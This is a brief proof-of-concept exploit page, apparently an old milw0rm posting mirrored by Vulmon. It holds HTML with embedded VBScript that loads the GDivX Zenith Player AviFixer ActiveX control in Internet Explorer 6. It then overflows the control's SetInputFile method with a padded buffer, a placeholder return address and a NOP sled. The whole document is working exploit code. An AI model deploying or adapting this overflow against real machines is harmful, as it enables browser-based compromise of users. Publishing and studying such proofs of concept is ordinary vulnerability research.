Vulmon
<html>
<object classid='clsid:2225E9BC-AFB3-4ED4-B20E-4F6CF1C39F8B' id='target'></object>
<script language = 'vbscript'>
' IE 6 / GDivX Zenith Player AviFixer Class (fix.dll v. 1.0.0.1) buffer overflow POC by rgod
' tested on xp sp2
EIP= "BBBB"
BOF=String(264, "A") + EIP + String(9999, unescape("%90"))
target.SetInputFile BOF
</script>
</html>
# milw0rm.com [2007-05-09]